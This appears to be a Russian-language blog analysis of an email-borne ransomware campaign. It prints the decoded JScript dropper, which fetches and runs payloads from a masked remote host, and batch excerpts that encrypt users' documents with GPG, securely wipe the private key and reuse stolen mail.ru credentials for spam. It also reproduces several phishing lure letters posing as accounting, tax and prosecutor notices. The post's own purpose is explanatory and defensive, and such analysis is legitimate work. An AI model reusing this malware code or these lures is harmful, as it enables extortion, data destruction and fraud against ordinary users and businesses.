Люди всегда стремились за лёгкими
деньгами. Ранее для этого отправлялись на войны, поиски приключений.
Сегодня в век информационных технологий,
лёгкие деньги можно получить другими путями, чаще незаконными.
Один из этих путей перекупка шаблонов под вирусы, и настройка на свои
сервера/ адреса эл. почты/ биткоин-кошельки.
И так начнём наше маленькое
расследование.
Письмо пользователю пришло от
доверенного источника. Во вложении был архив.
В самом архиве - JS, который был закодирован. После
раскодировки он принял довольно читаемый вид, из которого сразу видно какие
файлы и откуда он скачивает (см. приложение 1). Как видим путём установления
констант вирус легко переустраивается под наши нужды. Теперь перейдём к разбору самого CMD файла
ответственного за шифрование. (см. приложение 2)
Как и
положено хорошим программистам в начале идёт описание всех констант:
Далее идёт проверка на наличие файла "%Temp%\alligation.bit" и если он существует выполняется
переход на этап skipcrypo
В модуле skipcrypo первым этапом идём опять проверка на наличие файла "%temp%\skipcrypo.bit"
. И если он есть, то идёт переход на
этап skipall.
А сам этап
заканчивается выходом из скрипта.
Получается, если у нас есть 2 файла - "%Temp%\alligation.bit" и "%temp%\skipcrypo.bit" ,
то вирус просто прекратит свою работу. Интересная вакцина выходит.
Но нас интересует, что ещё делает данный зловред.
И так, после инициализации и проверки наличия файла
"%Temp%\alligation.bit", идёт его создание и запись данных в него
(использование как лог файла).
После этого проверяем наличие "%APPDATA%\gnupg", и
если такая папка существует - переименовываем её).
Далее переименовываем файлы которые так же скачаны с
сервера.
После этого записываем публичный ключ (случайным образом
выбираем один из двух).
Далее генерируются ключи и происходит очистка всех
“хвостов”, с использованием либо встроенной утилиты sdelete с 10 раундами
очистки, либо трижды пишется “мусор” из констант и удаляется файл закрытого
ключа.
Далее идёт перебор дисков для шифрования данных.
В первый проход шифруют (*.xls *.xlsx *.doc *.docx *.cdr
*.slddrw *.dwg *.pdf), за второй проход - (*.mdb *.1cd *.accdb *.zip *.rar
*.max *.cd *.jpg)
После чего на рабочий стол создается письмо с уведомлением о
зашифровании файлов, и необходимых последующих действиях пользователей. так же
копируются необходимый ключи для дальнейшей работы
Далее отправляется информация злоумышленникам о том, что
шифрование завершено, а так же скачиваются логины/пароли от почтовых систем для
проведения рассылок. генерируются случайные тексты и производиться их отправка
ОБразцы писем приводятся ниже.
На этом работа скрипта по шифрованию заканчивается.
Как краткие выводы сделать такие:
●
скрипт очень простой и легко модифицируем под различные
наборы сайтов/эл. почты
●
существует “вакцина” от данного файла
●
если данный вирус пойман, то его необходимо сразу
останавливать и искать файлы private.key
и отдавать, к примеру в аналитический центр Dr. Web
●
только регулярные бекапы дадут не уязвимость перед
данным семейством зловредов
●
от известных компаний есть свои рекомендации по
противодействию
function
exploreworld(e, t) {
var n = new
ActiveXObject("MSXML2.XMLHTTP");
n.onreadystatechange = function () {
if
(4 === n.readyState) {
var
e = new ActiveXObject("ADODB.Stream");
e.open();
e.type
= 1;
e.write(n.ResponseBody);
e.position
= 0;
e.saveToFile(t,
2);
e.close()
}
};
n.open("GET", e, !1);
n.send()
}
function
CreateObject(e) {
return new ActiveXObject(e)
}
var cyprus
= "%TEMP%\\clicrypt.bat",
fouque =
"www.r*******st.net",
offshore = "%TEMP%\\",
charity = "images",
WshShell =
WScript.CreateObject("WScript.Shell"),
word = "%TEMP%\\word.doc";
WshShell =
CreateObject("WScript.Shell");
offshore =
WshShell.ExpandEnvironmentStrings(offshore);
try {
exploreworld("http://" +
fouque + "/" + charity + "/doc.bit", "" +
offshore + "word.doc"),
WshShell.Run("" + word +
"", 1, 0)
} catch
(fakeword) {}
exploreworld("http://"
+ fouque + "/" + charity + "/night.bit", "" +
offshore + "night.bit");
exploreworld("http://"
+ fouque + "/" + charity + "/fake.bit", "" +
offshore + "fake.bit");
exploreworld("http://"
+ fouque + "/" + charity + "/clicrypt.bit", "" +
offshore + "clicrypt.bat");
exploreworld("http://"
+ fouque + "/" + charity + "/trash.bit", "" +
offshore + "trash.bit");
WshShell.Run("" + cyprus + "", 0, 0)
------
set
tproraryf=%Temp%
set
tappd=%AppData%
set
lomail=ru*******st.net
set
randstuff1=UDWJjhhasd61661HbbasghdYQ1l5N4ItPb23UBA6Embly6Zenqi
set
randstuff2=fbgfasgYYafgyqayehjYUAhbjdasilgnjsSAdgjbfuYESGTSFbSDyhhiygedBHASgdtyfwabcnvdbskgfUYAGDa
set
randstuff3=HHyhIkdbhI10OLjkfiYOqbGTFCgcxbftETFGA4NETinxUDSNFhHGDFgkNTEWfunxgn24yGSFNGYcugfnYEGSFdfGYUGSDFYJKGNFuygnNEYFXgfEgNYFEsdfk472FYGFNC
CD
"%Temp%"
set
line5=g2SUMAoSi3xu
if exist
"%Temp%\alligation.bit" goto skipcrypo
echo
Contagion&echo Contagion>"%Temp%\alligation.bit"
echo
Exemption stage
CD
"%AppData%
if exist
"%APPDATA%\gnupg" (rename "%APPDATA%\gnupg"
gnupg_backup%random%&attrib -s -h -r
"%appdata%\gnupg\*.*"&attrib -s -h -r
"%appdata%\gnupg"&del /f /q
"%appdata%\gnupg\*.*"&rmdir /s /q "%appdata%\gnupg")
else (echo gpg_not_found)
CD
"%Temp%"
RENAME
"%Temp%\night.bit" iconv.dll
RENAME
"%Temp%\trash.bit" sdelete.exe
RENAME
"%Temp%\fake.bit" spoolsvr.exe
SetLocal
EnableDelayedExpansion
-------
:skipcrypo
cd
"%TEMP%"
if exist
"%temp%\skipcrypo.bit" goto skipall
----
:skipall
exit
----
set /a
RA=!random!%%2+1&set /a N+=1
if not
defined RA (goto bitkey) else (echo Contagion defined)
if !RA!==1
goto bitkey
if !RA!==2
goto oldbitkey
goto bitkey
---
"%temp%\spoolsvr.exe"
--homedir "%Temp%" --batch --gen-key "%Temp%\genpair.bit"
"%temp%\spoolsvr.exe"
--import "%temp%\impubkey.bit"
"%temp%\spoolsvr.exe"
-r %pubname% --yes -q --no-verbose --trust-model always -e
"%temp%\secring.gpg"
del /f /q
"%Temp%\random_seed"
del /f /q
"%Temp%\*.lock"
del /f /q
"%Temp%\genpair.bit"
del /f /q
"%Temp%\impubkey.bit"
sdelete.exe
/accepteula -p 10 -q "%temp%\secring.gpg"
if exist
"%temp%\secring.gpg" (echo
%randstuff1%>"%temp%\secring1.gpg"&echo
%randstuff2%>"%temp%\secring.gpg"&echo
%randstuff3%>"%temp%\secring.gpg"&del /f /q
"%temp%\secring.gpg") else (echo privatekey_was_erased)
RENAME
"%temp%\secring.gpg.gpg" KEY.PRIVATE
--------------------
if exist
Z:\*.* for /r "Z:\" %%c in (*.xls *.xlsx *.doc *.docx *.cdr *.slddrw
*.dwg *.pdf) do (echo spoolsvr.exe -r %namereal% --yes -q --no-verbose
--trust-model always -e "%%c"^&move /y "%%c.gpg"
"%%c"^&rename "%%~fc"
"%%~nc%%~xc.%exten%">>"%temp%\databin.lst")
if exist
B:\*.* for /r "B:\" %%c in (*.mdb *.1cd *.accdb *.zip *.rar *.max
*.cd *.jpg) do (echo spoolsvr.exe -r %namereal% --yes -q --no-verbose
--trust-model always -e "%%c"^&move /y "%%c.gpg"
"%%c"^&rename "%%~fc"
"%%~nc%%~xc.%exten%">>"%temp%\databin.lst")
---
IF EXIST
lmailru.txt (IF EXIST pmailru.txt (
set /p
lmailru=<lmailru.txt
set /p
pmailru=<pmailru.txt
svhost.exe
-u !lmailru!@bk.ru -pw !pmailru! -s pop.mail.ru -headersonly -m 1
if exist
MSG*.txt (set validmail=!lmailru!@bk.ru& goto endlocal4)
svhost.exe
-u !lmailru!@mail.ru -pw !pmailru! -s pop.mail.ru -headersonly -m 1
if exist
MSG*.txt (set validmail=!lmailru!@mail.ru& goto endlocal4)
svhost.exe
-u !lmailru!@inbox.ru -pw !pmailru! -s pop.mail.ru -headersonly -m 1
if exist
MSG*.txt (set validmail=!lmailru!@inbox.ru& goto endlocal4)
svhost.exe
-u !lmailru!@list.ru -pw !pmailru! -s pop.mail.ru -headersonly -m 1
if exist
MSG*.txt (set validmail=!lmailru!@list.ru& goto endlocal4)
---
Добрый день,
Высылаю Вам акт сверки (скан в приложении).Прошу рассмотреть
документ и выслать мне свои комментарии
Ждем денег от Вас уже второй месяц.
Высылаю Вам протокол разногласий к договору от 01.09.2014
года (документ во вложении). Прошу рассмотреть наши предложения и выслать
комментарии.Нас смущает ответственность в виде пени и штрафов. Мы хотели бы ее
исключить из контракта.
Вложения:
День добрый,
Бухгалтерией была проведена сверка - Акт во вложении. По
нашим данным Вы нам должны около 20 тыс. рублей. Не исключено, что бухгалтера
где-то ошиблись.
Проверьте данные. Очень жду Ваших комментариев.
Вложения:
Здравствуйте,
Мы провели сверку по актуальным контрагентам.
По нашей информации, Вы не провели оплату по нескольким
счетам.
Просмотрите акт (в приложении) и подтвердите наличие долга.
Жду от Вас ответа.
Здравствуйте.
Как и договаривались, высылаю Вам типовую форму договора (во
вложении). Если от Вас замечаний не будет, я передам экземпляры на подписание
моему руководству.
Здравствуйте! Во
вложении - Ваша типовая форма контракта с правками наших юристов. Если наши
исправления в части сроков не критичны, хотелось бы организовать встречу и
подписание. Жду Вашего ответа.
Высылаю Акты приема-передачи согласно контракта от
21.08.2014 года - в приложении.Если по тексту у вас замечаний не будет, я
передам их на подписание. Оригиналы вышлем Вам курьером.
Добрый день,
Мы получили запрос от налоговой службы - скан-копия в
приложении. Налоговики требуют от нас предоставить им всю первичную
документацию по нашим совместным проектам.Посмотрите, пожалуйста, текст их
запроса. У нас есть еще 2 рабочих дня на ответ. Возможно, не все следует им
"показывать".
Надеюсь на оперативную обратную связь, поскольку у нашего
руководства паника.
День добрый,
ФНС нам прислала письмо с требованием предоставить все
первичные документы, касающиеся нашей с Вами работы.Не понимаю, что они
пытаются отыскать, но думаю, Вам будет интересно ознакомиться с их письмом
(скан в приложении). Очень прошу дать быстрый ответ, все ли нормально, и можем
ли мы им показывать документацию. На ответ у нас есть еще два рабочих дня
Добрый день,
Пришел запрос от прокуратуры с требованием предоставить им
все договора к которым Вы имеете отношение.Прошу внимательно его изучить и
ответить, можем ли мы им все "показывать". Против Вас и Вашего
руководства уголовное дело заведено что-ли? Спасибо
Комментариев нет:
Отправить комментарий